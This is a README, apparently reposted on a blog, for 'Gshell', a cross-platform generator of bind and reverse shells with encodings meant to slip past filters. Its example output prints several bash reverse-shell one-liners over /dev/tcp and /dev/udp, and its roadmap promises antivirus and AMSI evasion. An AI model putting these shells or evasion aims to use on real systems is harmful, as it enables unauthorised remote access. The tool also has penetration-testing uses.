Gshell - A Flexible And Scalable Cross-Plaform Shell Generator Tool

A simple yet flexible cross-platform shell generator tool.

Name: G(Great) Shell

Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.

If you find this tool helpful, then please give me a star as it tells me that I should add more features to it.

Is cross-platform, you can use it in operating systems such as:

  • Unix-based systems
  • GNU/Linux
  • Windows
  • macOS

Generates the following shells:

  • Bind Shells: The target has a listening port and we connect to the target.
  • Reverse Shells: We have a listening port and the target connects to us.

Supports the following encodings (as of now):

  • URL Encoding: Bypass URL filters
  • Base64/32/16 Encodings: Bypass string/keyword filters
  • PowerShell Base64 Encoding

Supports the follow IP versions:

  • IPv4
  • IPv6

Supported protocols:

  • TCP
  • UDP
  • ICMP

Note: You can add your own shells that use other protocols such as DNS.

Supports the following languages and tools:

  • PowerShell
  • Python
  • Bash
  • Sh
  • Perl
  • Socat
  • Netcat
  • Nc
  • Awk
  • Lua
  • NodeJS
  • OpenSSL
  • PHP
  • Ruby
  • Telnet
  • Golang
  • C#
  • Dart
  • Groovy
  • Many more...

It is limitless, feel free to add as many as you desire!

The shells are stored in markdown files as it makes it easy for everyone.

You can add more bind shells by adding markdown code blocks the following file:


You can also add more reverse shells by adding markdown code blocks the following file:


These can be one-liners and multi-liners, it doesn't matter. You can even add C# multi-liners code blocks if you want.

Example, replace the IP address and the port placeholders or variables values with these placeholders in your code:

$ip, $port

That's it, now you can add more.

Note: It also offers advice and tips for performing and troubleshooting attacks.


This is the help menu:

❯ python3 gshell.py --helpusage: gshell.py [-i <IP ADDRESS>] [-p <PORT NUMBER>] [-s <SHELL TYPE>] [-r] [-b]                 [--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l]                 [-a] [-h] ██████  ███████ ██   ██ ███████ ██      ██      ██       ██      ██   ██ ██      ██      ██      ██   ███ ███████ ███████ █████   ██      ██      ██    ██      ██ ██   ██ ██      ██      ██       ██████  ███████ ██   ██ ███████ ███████ ███████ Generate bind shells and/or reverse shells with style            Version: 1.0            Author: nozerobit            Twitter: @nozerobitOptions:  -i <IP ADDRESS>, --ip <IP ADDRESS>                        Specify the IP address  -p <PORT NUMBER>, --port <PORT NUMBER>                        Specify the port number  -s <SHELL TYPE>, --shell <SHELL TYPE>                        Specify a shell type (python, nc, bash, etc)Payload Types:  -r, --reverse         Victim communicates back to the attacking machine  -b, --bind               Open up a listener on the victim machineEncoding Options:  --base64              Add base64 encoding  --base32              Add base32 encoding  --base16              Add base16 encoding  --url                 Add URL encodingMarkdown Options:  --no-block            Skip ```                        code                        blocks                        ``` while parsingHelp Options:  -l, --list            List the available shell types  -a, --advice          Print advice and tips to get connections  -h, --help            Show this help message and exit

Example, generate bash reverse shells:

❯ python3 gshell.py -i -p 444 -r -s bash[+] The IPv4 address: is valid.[+] The port number: 444 is valid.[+] Shell type is valid[+] Preparing reverse shells[+] Generating bash shellsbash -i >& /dev/tcp/ 0>&10<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196/bin/bash -l > /dev/tcp/ 0<&1 2>&1bash -i >& /dev/tcp/ 0>&1bash -i >& /dev/udp/ 0>&1

Installation in Linux

Clone or download the repository:

git clone https://github.com/nozerobit/gshell

Install the requirements:

python3 -m pip install -r gshell/requirements.txt

Add the tool to the $PATH environment variable:

sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py

Execute the tool:


Installation in Windows

Clone or download the repository:

git clone https://github.com/nozerobit/gshell C:\\Tools

Note: I created a directory named Tools in the C:\ root directory. You can create this directory with the command md C:\Tools.

Install chocolatey with CMD as Administrator:

@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin

Install python3 in Windows:

choco install -y python3

Install pip:

python -m pip install --upgrade pip

Install the requirements:

python -m pip install -r gshell/requirements.txt

Note: You can change the directory if you want, just make sure that it contains the gshell project folder.

Change to the project directory:

cd C:\Tools

Execute the tool:

python gshell.py

Contact & Contributing

If you find any issues then you can open an issue, contact me on twitter or discord (preferred).

If you want to contribute then please feel free.

Any feedback is appreciated.


For the version 2.0 which should have the following:

  1. Encryptors: To bypass AVs
  2. Obfuscators: To bypass AVs
  3. Anti-AMSI: To bypass AMSI
  4. Shellcode Generator: For shellcode runners, binary explitation, etc.

Disqus Comments